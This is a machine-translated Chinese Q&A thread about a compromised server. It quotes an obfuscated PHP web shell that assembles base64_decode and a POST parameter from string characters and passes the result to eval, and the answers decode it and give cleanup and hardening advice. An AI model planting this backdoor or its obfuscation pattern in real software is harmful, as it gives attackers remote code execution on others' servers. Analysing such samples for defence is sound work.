php - 试图解码病毒

  显示原文与译文双语对照的内容
0 0

我的服务器最近被攻击,我一直在试图研究如何以及为什么会发生。

我在病毒文件中找到了类似的模式,看起来像这样,就像我能告诉你它试图运行一个特定的文件。

谁看到过这样的东西,我该怎么解释它? 它只是基于 $sF 字符串抓取单个字符?


<?php

$sF ="PCT4BA6ODSE_";
$s21 = strtolower($sF[4]. $sF[5]. $sF[9]. $sF[10]. $sF[6]. $sF[3]. $sF[11]. $sF[8]. $sF[10]. $sF[1]. $sF[7]. $sF[8]. $sF[10]);
$s22 = ${strtoupper($sF[11]. $sF[0]. $sF[7]. $sF[9]. $sF[2])}['nd335c3'];
if (isset($s22)) {
 eval($s21($s22));
}?>

时间: 原作者:

0 0

变量 $s21 等于 base64_decode$s22 等于 $_POST['nd335c3']

POST 请求到你的服务器时,它执行任何在 $_POST['nd335c3']; 中的命令,就像你所期望的那样,非常危险。

我怀疑你的服务器被入侵了,而你的网站脚本被利用了。 你的站点上是否有用户可以上传文件的位置? 我已经看到了很多类似于WordPress的东西,这就有了。

解决问题的

要修复这里问题,首先删除这里文件或者代码段。 你可能想要关闭站点并将它的置于维护模式,直到你可以搜索并验证所有其他文件还没有被修改。

当站点备份并运行后,记录发出攻击的文件所在的请求,或者请求包含相同日志变量的请求。

一旦你有了一个向攻击发送数据的用户,你可以检查所有其它日志文件并将它们与相同的IP地址和 User Agent 进行比较。 这是一个很远的镜头,但希望他们只使用一台计算机进行攻击。 从日志中你可以看到他们访问的确切内容,可能执行攻击并上传所利用的文件。

这个未来预防

  1. 不要将你在网上找到的任何代码都安装到你的站点上,除非你信任开发人员并相信它是完全安全的并且知道它们发布了更新。
  2. 设置你的站点服务器除了上传目录和 /tmp 之外没有写访问权限
  3. 验证所有上传的文件,确保它们确实是你想要的。
  4. 不允许PHP运行上传文件,将文件下载为静态直接文件。 这样,如果一个文件已经上传,跳过你的文件检查,它仍然不能做任何危害。
原作者:
0 0

只是遵循 contatination $sF 弦上的代码库,和你会发现


$21 ="base64_decode";
$22 ="_POST['nd335c3']";

剩下的代码,基本上检查 _POST ['nd335c3'] 是否存在,是否执行PHP代码: base64_decode(_POST['nd335c3']);

接下来我做不到,因为你没有显示病毒的全部代码。

希望它有点帮助。

原作者:
0 0

非常好的病毒。上面的答案似乎解释得不错,但现在你可以更好地理解PHP了。 于许多things,你可以看到相关PHP是真实的,但病毒友好,它怎么可以如此用途比较广泛,一个很酷的语言,那可以使用。如果是一件容易的事情,
代码混淆的一个稍少的恶意示例:


<?php

$v1 ="sartvuhi_";
$v2 = $v1[3]. $v1[6]. $v1[7]. $v1[0]. $v1[8];
$v3 = $v1[7]. $v1[0]. $v1[8]. $v1[1]. $v1[8];
$v4 = $v1[4]. $v1[7]. $v1[2]. $v1[5]. $v1[0];

echo $v2. $v3. $v4;
?>

原作者:
...